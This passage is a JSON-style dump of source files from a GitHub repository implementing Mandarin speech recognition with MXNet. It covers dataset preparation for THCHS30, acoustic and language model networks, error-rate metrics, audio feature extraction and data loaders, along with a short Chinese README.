THCHS30._extract_samples(valid_wav_paths, valid_sct_paths, self.saved_dir)\n self.test_samples = THCHS30._extract_samples(test_wav_paths, test_sct_paths, self.saved_dir)\n # total samples\n wav_paths, sct_paths = THCHS30._extract_paths(data_dir, data_dir)\n return THCHS30._extract_samples(wav_paths, sct_paths, self.saved_dir)\n\n def _build_list(self):\n \"\"\" implement super function \"\"\"\n list_dir = os.path.join(self.saved_dir, 'list_files')\n if not os.path.exists(list_dir):\n os.makedirs(list_dir)\n # writing samples to file\n THCHS30._restore_samples(self.train_samples, os.path.join(list_dir, 'train.lst'))\n THCHS30._restore_samples(self.valid_samples, os.path.join(list_dir, 'valid.lst'))\n THCHS30._restore_samples(self.test_samples, os.path.join(list_dir, 'test.lst'))\n\n @staticmethod\n def _extract_paths(link_dir, raw_dir):\n \"\"\" reflect wav path and script to really path \"\"\"\n wav_names = list(filter(lambda f: f.endswith('.wav'), os.listdir(link_dir)))\n sct_names = [name + '.trn' for name in wav_names]\n wav_paths = [os.path.join(raw_dir, name) for name in wav_names]\n sct_paths = [os.path.join(raw_dir, name) for name in sct_names]\n return wav_paths, sct_paths\n\n @staticmethod\n def _extract_samples(wav_paths, sct_paths, feat_dir):\n # internal function for concurrency\n samples = []\n for wav_path, sct_path in zip(wav_paths, sct_paths):\n with open(sct_path) as fd:\n chs = [ch for ch in ''.join(fd.readline()[:-1].split(' '))] # list of per character\n pys = fd.readline()[:-1].split(' ') # list of per pinyin\n feat_path = os.path.join(feat_dir, wav_path.split('/')[-1].split('.')[0]+'.npy')\n sample = {'wav': wav_path, 'feat': feat_path, 'pinyins': pys, 'characters': chs}\n samples.append(sample)\n return samples\n\n @staticmethod\n def _restore_samples(samples, saved_path):\n with open(saved_path, 'w') as fd:\n for sample in samples:\n wav = sample['wav']\n feat = sample['feat']\n py_str = ','.join(sample['pinyins'])\n ch_str = ','.join(sample['characters'])\n fd.write('\\t'.join([wav, feat, py_str, ch_str]) + '\\n')\n\n\nif __name__ == '__main__':\n thshs30 = THCHS30('/home/dml/speech_recognition/dataset', '/home/dml/speech_recognition/dataset/fbank_thchs30_tmp')\n thshs30.build_dataset()\n" }, { "alpha_fraction": 0.6218593120574951, "alphanum_fraction": 0.6243718862533569, "avg_line_length": 29.615385055541992, "blob_id": "53ba0e21a70dd721d1413500aa432c1cf7c023c6", "content_id": "b0ba8de701e247ccfc29c71b55e54a479d965cb5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 796, "license_type": "no_license", "max_line_length": 66, "num_lines": 26, "path": "/train.py", "repo_name": "Joke-s/mandarin_speech_recognition", "src_encoding": "UTF-8", "text": "\"\"\" scritpt for training \"\"\"\n\nimport sys\nimport yaml\nfrom util.log import set_logger\nfrom model.model import AcousticModel\nfrom model.model import LanguageModel\n\n\nif __name__ == '__main__':\n assert len(sys.argv) == 2, 'config file path is required!'\n\n with open(sys.argv[1]) as fd:\n cfg = yaml.load(fd, Loader=yaml.SafeLoader)\n # set logger\n set_logger(cfg['logger']['path'],\n cfg['logger']['level'])\n # loading params\n if cfg['model_type'] == 'acoustic':\n model = AcousticModel(cfg['net_info'], cfg['params_path'])\n elif cfg['model_type'] == 'language':\n model = LanguageModel(cfg['net_info'], cfg['params_path'])\n else:\n raise ValueError('model type: [acoustic|language]')\n # model training\n model.train(cfg['train_cfg'])\n" }, { "alpha_fraction": 0.5542044639587402, "alphanum_fraction": 0.57621169090271, "avg_line_length": 38.452701568603516, "blob_id": "43c6e3fb2933d47b4a61cc5a4eee42517f5234e8", "content_id": "2efacd45bcff59d0585e61b5050c87d2445badb5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 11678, "license_type": "no_license", "max_line_length": 144, "num_lines": 296, "path": "/model/symbol.py", "repo_name": "Joke-s/mandarin_speech_recognition", "src_encoding": "UTF-8", "text": "\"\"\" network symbol \"\"\"\n\nimport mxnet as mx\n\n\n####################################### acoustic symbol #######################################\n\ndef cnn_dnn_ctc(net_cfg):\n # extracting params\n num_cls = net_cfg['num_cls']\n feat_dim = net_cfg['feat_dim']\n\n # symbol building\n x = _conv_sequence(feat_dim) # output shape: (batch_size, time_step, feat_dim)\n x = mx.sym.FullyConnected(x, num_hidden=num_cls, flatten=False)\n ctc_output = _ctc_block(x)\n return ctc_output\n\n\ndef cnn_rnn_ctc(net_cfg):\n # extracting params\n seq_len = net_cfg['seq_len']\n feat_dim = net_cfg['feat_dim']\n cell_type = net_cfg['cell_type']\n num_hiddens = net_cfg['num_hiddens']\n num_cls = net_cfg['num_cls']\n\n # symbol building\n x = _conv_sequence(feat_dim)\n rnn_output, _ = _multi_rnn(x, seq_len, cell_type, num_hiddens) # ignore state\n fc = mx.sym.FullyConnected(rnn_output, num_hidden=num_cls, flatten=False)\n ctc_output = _ctc_block(fc)\n return ctc_output\n\n\ndef conv2s_ctc(net_cfg):\n pass # TODO: xxx\n\n\n####################################### language symbol #######################################\n\ndef multi_rnn(net_cfg):\n # extracting params\n seq_len = net_cfg['seq_len']\n cell_type = net_cfg['cell_type']\n num_hiddens = net_cfg['num_hiddens']\n output_cls = net_cfg['output_cls']\n\n data = mx.sym.Variable('data') # shape: [batch_size, time_step, embedding]\n label = mx.sym.Variable('label') # one-hot shape: [batch_size, time_step]\n rnn_output, _ = _multi_rnn(data, seq_len, cell_type, num_hiddens)\n # output block\n fc = mx.sym.FullyConnected(rnn_output, num_hidden=output_cls, flatten=False)\n predict, loss = _softmax_block(fc, output_cls, prefix='softmax_block')\n\n return mx.sym.Group([predict, loss])\n\n\ndef cbhg(net_cfg):\n # extracting params\n seq_len = net_cfg['seq_len']\n input_cls = net_cfg['input_cls']\n output_cls = net_cfg['output_cls']\n\n data = mx.sym.Variable('data') # shape: [N, T, C]\n label = mx.sym.Variable('label') # shape: [N, T]\n # prenet\n x = mx.sym.FullyConnected(data, num_hidden=input_cls, flatten=False)\n x = mx.sym.Activation(x, act_type='relu')\n x = mx.sym.Dropout(x, p=0.5)\n x = mx.sym.FullyConnected(x, num_hidden=input_cls//2, flatten=False)\n x = mx.sym.Activation(x, act_type='relu')\n x = mx.sym.Dropout(x, p=0.5)\n x = mx.sym.expand_dims(x, axis=1) # [N, T, C] --> [N, 1, T, C]\n pre_out = mx.sym.swapaxes(x, 1, 3) # [N, 1, T, C] --> [N, C, T, 1]\n # conv1d bank\n x = _conv1d_blank(pre_out, input_cls//2, 16) # output shape: [N, C*k, T, 1]\n # max pooling for 1d\n x = _pooling1d(x, 2, prefix='max_pooling1d')\n # conv1d projections\n x = _conv1d(x, input_cls//2, 5, prefix='conv1d_pro_1') # input: [N, C*k, T, 1] output: [N, C, T, 1]\n x = mx.sym.BatchNorm(x)\n x = _conv1d(x, input_cls//2, 5, prefix='conv1d_pro_2')\n x = mx.sym.BatchNorm(x)\n x = x + pre_out # residual connections [N, C, T, 1]\n x = mx.sym.swapaxes(x, 1, 3) # [N, C, T, 1] --> [N, 1, T, C]\n x = mx.sym.squeeze(x, axis=1) # [N, 1, T, C] --> [N, T, C]\n # highway block\n for i in range(4):\n x = _highway_block(x, input_cls//2, 'highway_%2d' % (i+1))\n # bidirectional gru\n rnn_output, _ = _multi_rnn(x, seq_len, 'bigru', [input_cls//2])\n # output layer\n fc = mx.sym.FullyConnected(rnn_output, num_hidden=output_cls, flatten=False)\n predict, loss = _softmax_block(fc, output_cls, prefix='softmax_block')\n\n return mx.sym.Group([predict, loss])\n\n\n####################################### symbol modules #######################################\n\ndef _highway_block(input, num_hidden, prefix=''):\n \"\"\" highway block\n :params input: mx.symbol\n with shape [N, T, C]\n :params num_hidden: integer\n number of hidden cells\n \"\"\"\n with mx.name.Prefix(prefix):\n H = mx.sym.FullyConnected(input, num_hidden=num_hidden, flatten=False)\n H = mx.sym.Activation(H, act_type='relu')\n T = mx.sym.FullyConnected(input, num_hidden=num_hidden, flatten=False)\n T = mx.sym.Activation(T, act_type='sigmoid')\n output = H * T + input * (1.0 - T)\n\n return output\n\n\ndef _pooling1d(input, k, prefix=''):\n \"\"\" wrapper for 1d max pooling with same padding \"\"\"\n with mx.name.Prefix(prefix):\n left = (k-1) // 2\n right = left if (k-1) % 2 == 0 else left + 1\n x = mx.sym.pad(input, mode='constant', pad_width=(0, 0, 0, 0, left, right, 0, 0)) # zero padding\n x = mx.sym.Pooling(x, kernel=(k, 1), pool_type='max') # no more padding\n return x\n\n\ndef _conv1d(input, num_filter, k, prefix=''):\n \"\"\" conv1d wrapper for same padding\n :params input: mx.symbol\n input with shape [N, C, T, 1]\n :params num_filter: integer\n number of filter\n :params k: integer\n kernel size\n \"\"\"\n with mx.name.Prefix(prefix):\n left = (k-1) // 2\n right = left if (k-1) % 2 == 0 else left + 1\n x = mx.sym.pad(input, mode='constant', pad_width=(0, 0, 0, 0, left, right, 0, 0)) # zero padding\n x = mx.sym.Convolution(x, kernel=(k, 1), num_filter=num_filter) # no more padding\n return x\n\n\ndef _conv1d_blank(input, num_filter, K):\n \"\"\" conv1d_blank for cbhg\n :params input: mx.symbol\n input with shape: [N, C, T, 1]\n :params K integer\n number of layers\n :params num_filter:\n number of filter\n \"\"\"\n output = _conv1d(input, num_filter, 1, 'conv1d_blank_01k')\n for k in range(2, K+1):\n x = _conv1d(input, num_filter, k, 'conv1d_blank_%02dk' % k) # [N, C, T, 1]\n output = mx.sym.concat(output, x, dim=1) # [N, C*(k-1), T, 1] and [N, C, T, 1] --> [N, C*k, T, 1]\n output = mx.sym.BatchNorm(output)\n return output\n\n\ndef _conv_block(input, num_filter, use_pool=True):\n x = mx.sym.Convolution(input, kernel=(3, 3), pad=(1, 1), num_filter=num_filter, no_bias=False)\n x = mx.sym.BatchNorm(x)\n x = mx.sym.Convolution(x, kernel=(3, 3), pad=(1, 1), num_filter=num_filter, no_bias=False)\n x = mx.sym.BatchNorm(x)\n if use_pool:\n x = mx.sym.Pooling(x, (2, 2), 'max', stride=(2, 2))\n return x\n\n\ndef _conv_sequence(feat_dim):\n data = mx.sym.Variable(name='data')\n x = _conv_block(data, 32)\n x = _conv_block(x, 64)\n x = _conv_block(x, 128)\n x = _conv_block(x, 128, use_pool=False)\n x = _conv_block(x, 128, use_pool=False)\n # reshape and dense\n x = mx.sym.transpose(x, axes=(0, 2, 3, 1)) # (batch_size, num_filter, seq_len, feat_size) --> (batch_size, seq_len, feat_size, num_filter)\n x = mx.sym.reshape(x, shape=(0, 0, -3)) # (batch_size, seq_len, feat_size, num_filter) --> (batch_size, seq_len, feat_size * num_filter)\n x = mx.sym.Dropout(x, p=0.2)\n x = mx.sym.FullyConnected(x, num_hidden=feat_dim, flatten=False)\n x = mx.sym.Dropout(x, p=0.2)\n return x\n\n\ndef _ctc_block(fc):\n label = mx.sym.Variable('label') # shape: (batch_size, max_label_len)\n data_len = mx.sym.Variable('data_len') # shape: (batch_size,)\n label_len = mx.sym.Variable('label_len') # shape: (batch_size,)\n # swapaxis (batch_size, max_seq_len, num_cls) --> (max_seq_len, batch_size, num_cls)\n data = mx.sym.swapaxes(fc, dim1=0, dim2=1)\n # loss\n ctc_loss = mx.sym.ctc_loss(data, label, data_len, label_len, True, True)\n ctc_loss = mx.sym.MakeLoss(ctc_loss, name='ctc_make_loss')\n # output\n predict = mx.sym.softmax(fc, axis=2)\n predict = mx.sym.BlockGrad(mx.sym.MakeLoss(predict), name='predict')\n return mx.sym.Group([predict, ctc_loss])\n\n\ndef _softmax_block(fc, out_cls, prefix='softmax_block'):\n \"\"\" softmax block with reture prediction and loss \"\"\"\n eps = 1e-12\n label = mx.sym.Variable('label')\n with mx.name.Prefix(prefix):\n probs = mx.sym.softmax(fc, axis=2) # with shape [N, T, C]\n # loss\n pos_log = mx.sym.log(mx.sym.clip(probs, eps, 1.0))\n neg_log = mx.sym.log(mx.sym.clip(1-probs, eps, 1.0))\n label = mx.sym.one_hot(label, depth=out_cls) # one-hot shape [N, T] --> [N, T, C]\n loss = - (label * pos_log + (1-label) * neg_log)\n loss = mx.sym.mean(mx.sym.sum(loss, axis=[1, 2]))\n loss = mx.sym.MakeLoss(loss, name='loss')\n predict = mx.sym.BlockGrad(mx.sym.MakeLoss(probs), name='predict')\n\n return mx.sym.Group([predict, loss])\n\n\ndef _multi_rnn(inputs, seq_len, cell_type, num_hiddens, prefix='rnn_layer'):\n \"\"\" multi layer of rnn cell, input shape: (NTC) \"\"\"\n if cell_type == 'lstm':\n rnn_cells = [mx.rnn.LSTMCell(num_hid, prefix=prefix+'_%02d_' % i)\n for i, num_hid in enumerate(num_hiddens)]\n elif cell_type == 'gru':\n rnn_cells = [mx.rnn.GRUCell(num_hid, prefix=prefix+'_%02d_' % i)\n for i, num_hid in enumerate(num_hiddens)]\n elif cell_type == 'bilstm':\n l_cells = [mx.rnn.LSTMCell(num_hid, prefix=prefix+'_l%02d_' % i)\n for i, num_hid in enumerate(num_hiddens)]\n r_cells = [mx.rnn.LSTMCell(num_hid, prefix=prefix+'_r%02d_' % i)\n for i, num_hid in enumerate(num_hiddens)]\n rnn_cells = [mx.rnn.BidirectionalCell(l, r, output_prefix=prefix+'_bi%02d_' % i)\n for i, (l, r) in enumerate(zip(l_cells, r_cells))]\n elif cell_type == 'bigru':\n l_cells = [mx.rnn.GRUCell(num_hid, prefix=prefix+'_l%02d_' % i)\n for i, num_hid in enumerate(num_hiddens)]\n r_cells = [mx.rnn.GRUCell(num_hid, prefix=prefix+'_r%02d_' % i)\n for i, num_hid in enumerate(num_hiddens)]\n rnn_cells = [mx.rnn.BidirectionalCell(l, r, output_prefix=prefix+'_bi%02d_' % i)\n for i, (l, r) in enumerate(zip(l_cells, r_cells))]\n else:\n raise ValueError('wrong cell type![lstm|gru|bilstm|bigru]')\n\n rnn_layers = mx.rnn.SequentialRNNCell()\n for rnn_cell in rnn_cells:\n rnn_layers.add(rnn_cell)\n outputs, state = rnn_layers.unroll(seq_len, inputs, merge_outputs=True)\n return outputs, state\n\n\nclass LSTMAttentionCell(mx.rnn.rnn_cell.LSTMCell):\n \"\"\" LSTM cell with attention mechanism \"\"\"\n def __init__(self, num_hidden, prefix):\n super(LSTMAttentionCell, self).__init__(num_hidden, prefix)\n\n def unroll(self, length, inputs):\n pass # TODO: other params set default\n\n\nclass GRUAttentionCell(mx.rnn.rnn_cell.GRUCell):\n \"\"\" GRU cell with attention mechanism \"\"\"\n def __init__(self, num_hidden, prefix):\n super(LSTMAttentionCell, self).__init__(num_hidden, prefix)\n\n def unroll(self, length, inputs):\n pass # TODO: other params set default\n\n\nif __name__ == '__main__':\n # data = mx.sym.Variable('data')\n # net_cfg = {'input_cls': 12, 'output_cls': 28, 'seq_len': 4}\n # shape = {'data': (32, 4, 12), 'label': (32, 4)}\n # output = cbhg(net_cfg)\n # mx.viz.plot_network(output, shape=shape).view()\n # print(output.infer_shape(**shape)[1])\n\n # shape = {'data': (32, 1, 1632, 200),\n # 'label':(32, 48),\n # 'data_len': (32,),\n # 'label_len': (32,)}\n # net_cfg = {'feat_dim': 256, 'num_cls': 1208}\n # output = cnn_dnn_ctc(net_cfg)\n # print(output.infer_shape(**shape)[1])\n #\n # shape = {'data': (32, 1, 1632, 200), 'label': (32, 48), 'data_len': (32,), 'label_len': (32,)}\n # net_cfg = {'feat_dim': 256, 'seq_len': 204, 'num_hiddens': [128, 256, 1208], 'cell_type': 'lstm'}\n # output = cnn_rnn_ctc(net_cfg)\n # print(output.infer_shape(**shape)[1])\n\n shape = {'data': (32, 5, 12), 'label':(32, 5)}\n net_cfg = {'seq_len': 5, 'num_hiddens': [10], 'cell_type': 'lstm', 'output_cls': 28}\n output = multi_rnn(net_cfg)\n mx.viz.plot_network(output, shape=shape).view()\n" }, { "alpha_fraction": 0.8382353186607361, "alphanum_fraction": 0.8588235378265381, "avg_line_length": 41.5, "blob_id": "aa469bef40d1fc7f010765089265217f80ac8027", "content_id": "db6f509826f7a8404994d3f4797ed24333cde199", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 666, "license_type": "no_license", "max_line_length": 130, "num_lines": 8, "path": "/README.md", "repo_name": "Joke-s/mandarin_speech_recognition", "src_encoding": "UTF-8", "text": "# 基于深度学习的语音识别\n\n本项目实现了几个简单的语音识别baseline,对于需要入门的朋友来说还是有点帮助的。本人主要是做图像的,但是毕业选题没有犟过导师,无奈就开始做语音。对于语音,本人是个门外汉,好在在github上有几位大神开源了他们的代码,让我有机会入门语音,参考的代码如下:\n\n- [DeepSpeechRecognitoin](https://github.com/audier/DeepSpeechRecognition)\n- [ASRT_SpeechRecognition](https://github.com/nl8590687/ASRT_SpeechRecognition)\n\n希望本项目能够给各位带来帮助,同时也希望能与各位朋友能够相互交流和进步。\n" }, { "alpha_fraction": 0.46916183829307556, "alphanum_fraction": 0.48813915252685547, "avg_line_length": 33.490909576416016, "blob_id": "946e7f560c6cdd18b6034de1eef967926ae603d7", "content_id": "274f9471f9a58ed6a379f918ce8fff1ef3f8b080", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5691, "license_type": "no_license", "max_line_length": 147, "num_lines": 165, "path": "/model/metric.py", "repo_name": "Joke-s/mandarin_speech_recognition", "src_encoding": "UTF-8", "text": "\"\"\" metric utility for acoustic model and language model \"\"\"\n\nimport sys\nsys.path.append('../')\n\nimport mxnet as mx\nimport numpy as np\nfrom util.vocal import greedy_decode\nfrom util.vocal import ctc_alignment\nfrom util.vocal import beam_search_decode\n\n\n################################################################# acoustic metric #################################################################\n\ndef _word_error(hyp, ref):\n \"\"\" word error count: substitution, insertion, deletion\n reference: https://martin-thoma.com/word-error-rate-calculation\n \"\"\"\n # initialisation\n r_len, h_len = len(ref), len(hyp)\n d = np.zeros(shape=(r_len+1, h_len+1), dtype=np.uint8)\n for i in range(r_len+1):\n for j in range(h_len+1):\n if i == 0:\n d[0][j] = j\n elif j == 0:\n d[i][0] = i\n\n # computation\n for i in range(1, r_len+1):\n for j in range(1, h_len+1):\n if ref[i-1] == hyp[j-1]:\n d[i][j] = d[i-1][j-1]\n else:\n substitution = d[i-1][j-1] + 1\n insertion = d[i][j-1] + 1\n deletion = d[i-1][j] + 1\n d[i][j] = min(substitution, insertion, deletion)\n\n return d[r_len][h_len]\n\n\nclass SpeechMetric(mx.metric.EvalMetric):\n def __init__(self, phase):\n assert phase in ['train', 'valid']\n self.phase = phase\n if self.phase == 'train':\n self.names = ['wer', 'ser', 'loss']\n else:\n self.names = ['wer', 'ser']\n\n self.reset()\n super(SpeechMetric, self).__init__('speech_metric')\n\n def reset(self):\n self.word_error = 0.0\n self.total_word = 0.0\n self.sent_error = 0.0\n self.total_sent = 0.0\n if self.phase == 'train':\n self.total_loss = 0.0\n self.loss_count = 0.0\n\n def update(self, labels, preds):\n if self.phase == 'train':\n probs, losses = preds # probs, loss\n self.total_loss += mx.nd.sum(losses).asscalar()\n self.loss_count += len(losses)\n else:\n probs = preds[0] # probs\n labels, data_lens, label_lens = labels # label, data_len, label_len\n # word error, sentence error\n probs = probs.asnumpy()\n labels = labels.asnumpy()\n data_lens = data_lens.asnumpy().tolist()\n label_lens = label_lens.asnumpy().tolist()\n for prob, label, data_len, label_len in zip(\n probs, labels, data_lens, label_lens):\n # true label\n prob = prob[:int(data_len)]\n label = label[:int(label_len)]\n # decode ctc: [n, s, c] --> [n, c]\n # pred = greedy_decode(prob)\n pred = beam_search_decode(prob, topK=2)[0][0]\n pred = ctc_alignment(pred)\n # word error\n self.total_word += label_len\n self.word_error += _word_error(pred, label)\n # sentence error\n self.total_sent += 1\n if len(pred) == len(label) and sum(pred == label) == len(pred):\n self.sent_error += 0\n else:\n self.sent_error += 1\n\n def get(self):\n eps = 1e-12\n wer = self.word_error / max(self.total_word, eps)\n ser = self.sent_error / max(self.total_sent, eps)\n if self.phase == 'valid':\n return self.names, [wer, ser]\n else:\n loss = self.total_loss / max(self.loss_count, eps)\n return self.names, [wer, ser, loss]\n\n\n################################################################# language metric #################################################################\n\nclass LanguageMetric(mx.metric.EvalMetric):\n \"\"\" language metric \"\"\"\n def __init__(self, phase='train'):\n self.eps = 1e-12\n self.phase = phase\n self.names = ['acc'] if phase == 'valid' else ['acc', 'loss']\n self.reset()\n super(LanguageMetric, self).__init__('lanuage_metric')\n\n def reset(self):\n if self.phase == 'train':\n self.loss, self.loss_count = 0.0, 0.0\n self.acc, self.acc_count = 0.0, 0.0\n\n def update(self, labels, preds):\n label = labels[0]\n if self.phase == 'train':\n probs, loss = preds\n self.loss_count += 1\n self.loss += loss.asscalar()\n else:\n probs = preds[0]\n probs = preds[0].as_in_context(mx.cpu())\n pred = mx.nd.argmax(probs, axis=2)\n num_acc = (pred == label).sum().asscalar()\n self.acc += float(num_acc) / max(float(pred.size), self.eps)\n self.acc_count += 1\n\n def get(self):\n acc = self.acc / max(float(self.acc_count), self.eps)\n if self.phase == 'train':\n loss = self.loss / max(self.loss_count, self.eps)\n values = [acc, loss]\n else:\n values = [acc]\n return self.names, values\n\n\nif __name__ == '__main__':\n label = mx.nd.array([[2, 1],\n [2, 1],\n [2, 1]])\n prob1 = [[0.2, 0.2, 0.4, 0.2],\n [0.2, 0.3, 0.2, 0.3]]\n preds = [mx.nd.array([prob1, prob1, prob1]), mx.nd.array([0.4, 0.5, 0.6])]\n labels = [label, mx.nd.array([2, 2, 2]), mx.nd.array([2, 2, 2])]\n metric = SpeechMetric('train')\n metric.update(labels, preds)\n for name, value in metric.get_name_value():\n print('%s = %f' % (name, value))\n\n labels = [label]\n preds = [preds[0], mx.nd.array([0.4, 0.5, 0.6])]\n metric = LanguageMetric('train')\n metric.update(labels, preds)\n for name, value in metric.get_name_value():\n print('%s = %f' % (name, value))\n" }, { "alpha_fraction": 0.5580389499664307, "alphanum_fraction": 0.5984138250350952, "avg_line_length": 25.673076629638672, "blob_id": "92b1b1b414146f0169914f077e0b7427159c83cd", "content_id": "c012884bedc734fe66a33eeba385d8ef68dd1201", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1495, "license_type": "no_license", "max_line_length": 76, "num_lines": 52, "path": "/util/audio.py", "repo_name": "Joke-s/mandarin_speech_recognition", "src_encoding": "UTF-8", "text": "\"\"\" raw audio process utils which consists of feature extract, and so on \"\"\"\n\nimport numpy as np\nfrom scipy.fftpack import fft\nimport scipy.io.wavfile as wav\nimport matplotlib.pyplot as plt\nfrom python_speech_features import mfcc\n\n\ndef compute_mfcc(file):\n \"\"\" 获取mfcc特征 \"\"\"\n # loading\n fs, audio = wav.read(file)\n # get mfcc feature\n feature = mfcc(audio, samplerate=fs, numcep=26)\n feature = feature[::3]\n\n return np.transpose(feature)\n\n\ndef compute_fbank(file):\n \"\"\" 获取信号时频图 \"\"\"\n x = np.linspace(0, 400 - 1, 400, dtype=np.int64)\n w = 0.54 - 0.46 * np.cos(2 * np.pi * (x) / (400 - 1)) # 汉明窗\n fs, audio = wav.read(file)\n # 加窗以及时移10ms\n window_ms = 25 # 单位ms\n wav_arr = np.array(audio)\n num_window = int(len(audio) / fs*1000 - window_ms) // 10 + 1 # 最终的窗口数\n fbank = np.zeros((num_window, 200), dtype=np.float)\n for i in range(0, num_window):\n section = np.array(wav_arr[i*160:(i*160)+400]) # 分帧\n section = section * w # 加窗\n section = np.abs(fft(section)) # 傅里叶变化\n fbank[i] = section[:200] # 取一半\n fbank = np.log(fbank + 1) # 取对数,求db\n\n return fbank\n\n\nif __name__ == \"__main__\":\n audio_path = 'D8_999.wav'\n fs, audio = wav.read(audio_path)\n\n # 声波图\n plt.plot(audio)\n plt.show()\n\n # 音频的时频图\n fbank = compute_fbank(audio_path)\n plt.imshow(fbank.T, origin='lower')\n plt.show()\n" }, { "alpha_fraction": 0.6754385828971863, "alphanum_fraction": 0.6754385828971863, "avg_line_length": 19.727272033691406, "blob_id": "e1d12ed6dec4b7a38ec169b6a7df485d6de2ee43", "content_id": "117de0fbf1633ba432378cb573292211b9a23518", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 228, "license_type": "no_license", "max_line_length": 44, "num_lines": 11, "path": "/util/log.py", "repo_name": "Joke-s/mandarin_speech_recognition", "src_encoding": "UTF-8", "text": "\"\"\" logging utility \"\"\"\n\nimport logging\n\n\ndef set_logger(path, level):\n logging.basicConfig()\n logger = logging.getLogger()\n logger.setLevel(level)\n fh = logging.FileHandler(path, mode='w')\n logger.addHandler(fh)\n" }, { "alpha_fraction": 0.552800714969635, "alphanum_fraction": 0.5612692832946777, "avg_line_length": 41.60869598388672, "blob_id": "6bbb7b24373875d887767adfa20edb3b54babd25", "content_id": "81d30330ad39ad890fe626134792fc521953120d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9817, "license_type": "no_license", "max_line_length": 150, "num_lines": 230, "path": "/data/data_loader.py", "repo_name": "Joke-s/mandarin_speech_recognition", "src_encoding": "UTF-8", "text": "\"\"\" wrapper data_loader \"\"\"\n\n\nimport mxnet as mx\nimport numpy as np\nfrom functools import partial\n\n\n################################################################# acoustic dataloder #################################################################\n\nclass SpeechDataSet(mx.gluon.data.dataset.Dataset):\n \"\"\" speech dataset \"\"\"\n def __init__(self, list_path, py_to_idx, shrink_times):\n samples = []\n with open(list_path) as fd:\n for line in fd.readlines():\n _, feat_path, pys_str, _ = line.split('\\t')\n pys = pys_str.split(',')\n label = [py_to_idx[py] for py in pys]\n samples.append((feat_path, label))\n self.samples = samples\n self.shrink_times = shrink_times\n\n def __getitem__(self, idx):\n path, label = self.samples[idx]\n data = mx.nd.array(np.load(path), dtype='float32')\n data = mx.nd.expand_dims(data, axis=0)\n label = mx.nd.array(label, dtype='float32')\n data_len = len(data[0]) // self.shrink_times\n label_len= len(label)\n\n return data, label, data_len, label_len\n\n def __len__(self):\n return len(self.samples)\n\ndef _speech_batchify_fn(samples, max_seq, max_label):\n \"\"\"Collate data into batch for speech data.\"\"\"\n data = list(map(lambda x: x[0], samples))\n label= list(map(lambda x: x[1], samples))\n data_len = list(map(lambda x: x[2], samples))\n label_len= list(map(lambda x: x[3], samples))\n batch_label= mx.nd.zeros(shape=(len(label), max_label), dtype=label[0].dtype)\n batch_data = mx.nd.zeros(shape=(len(data), 1, max_seq, data[0].shape[-1]), dtype=data[0].dtype)\n for i, data_samp in enumerate(data): # padding\n batch_data[i, :, :data_samp.shape[1]] = data_samp\n for i, label_samp in enumerate(label): # padding\n batch_label[i, :len(label_samp)] = label_samp\n batch_data_len = mx.nd.array(data_len, dtype='float32')\n batch_label_len= mx.nd.array(label_len, dtype='float32')\n\n return batch_data, batch_label, batch_data_len, batch_label_len\n\n\nclass SpeechDataLoader():\n \"\"\" speech dataloader \"\"\"\n def __init__(self, list_path, py_to_idx, max_seq, max_label,\n batch_size, shrink_times, shuffle=True, num_workers=0):\n dataset = SpeechDataSet(list_path, py_to_idx, shrink_times)\n batchify_fn = partial(_speech_batchify_fn, max_seq=max_seq, max_label=max_label)\n self.data_loader = mx.gluon.data.DataLoader(\n dataset = dataset,\n batch_size = batch_size,\n shuffle = shuffle,\n last_batch = 'keep',\n num_workers = num_workers,\n batchify_fn = batchify_fn)\n\n self.batch_size = batch_size\n self.provide_data = [mx.io.DataDesc(**{'name': 'data', 'shape': (batch_size, 1, max_seq, 200)})]\n self.provide_label = [mx.io.DataDesc(**{'name': 'label', 'shape': (batch_size, max_label)}),\n mx.io.DataDesc(**{'name': 'data_len', 'shape': (batch_size,)}),\n mx.io.DataDesc(**{'name': 'label_len', 'shape': (batch_size,)})]\n self.reset()\n\n def __iter__(self):\n return self\n\n def reset(self):\n self.data_iter = iter(self.data_loader)\n\n def __next__(self):\n return self.next()\n\n def next(self):\n data, label, data_len, label_len = next(self.data_iter)\n num_pad = self.batch_size - len(data)\n if num_pad > 0: # zero padding for last batch\n # zeros batch\n raw_data, raw_label, raw_data_len, raw_label_len = data, label, data_len, label_len\n data = mx.nd.zeros(shape=(self.batch_size, *data.shape[1:]), dtype=data.dtype)\n label= mx.nd.zeros(shape=(self.batch_size, *label.shape[1:]), dtype=label.dtype)\n data_len = mx.nd.zeros(shape=(self.batch_size, ), dtype=data_len.dtype)\n label_len= mx.nd.zeros(shape=(self.batch_size, ), dtype=label_len.dtype)\n # padding\n data[:-num_pad] = raw_data\n label[:-num_pad] = raw_label\n data_len[:-num_pad] = raw_data_len\n label_len[:-num_pad] = raw_label_len\n labels = [label, data_len, label_len]\n return mx.io.DataBatch(data=[data], label=labels, pad=num_pad)\n\n\n################################################################# language dataloder #################################################################\n\nclass LanguageDataSet(mx.gluon.data.dataset.Dataset):\n \"\"\" language dataset \"\"\"\n def __init__(self, list_path, input_depth, py_to_idx, ch_to_idx):\n self.input_depth = input_depth\n samples = []\n with open(list_path) as fd:\n for line in fd.readlines():\n _, _, pys_str, chs_str = line.split('\\t')\n chs_str = chs_str[:-1] # ignore '\\n'\n py_seq = [py_to_idx[py] for py in pys_str.split(',')]\n ch_seq = [ch_to_idx[ch] for ch in chs_str.split(',')]\n samples.append((py_seq, ch_seq))\n self.samples = samples\n\n def __getitem__(self, idx):\n py_seq, ch_seq = self.samples[idx]\n py_seq = mx.nd.array(py_seq)\n data = mx.nd.one_hot(py_seq, self.input_depth)\n label = mx.nd.array(ch_seq)\n return data, label\n\n def __len__(self):\n return len(self.samples)\n\n\ndef _language_batchify_fn(samples, seq_len):\n data = list(map(lambda x: x[0], samples))\n label = list(map(lambda x: x[1], samples))\n batch_data = mx.nd.zeros(shape=(len(data), seq_len, data[0].shape[-1]), dtype=data[0].dtype)\n batch_label= mx.nd.zeros(shape=(len(label), seq_len), dtype=label[0].dtype)\n for i, data_samp in enumerate(data):\n batch_data[i, :data_samp.shape[0], :] = data_samp\n for i, label_samp in 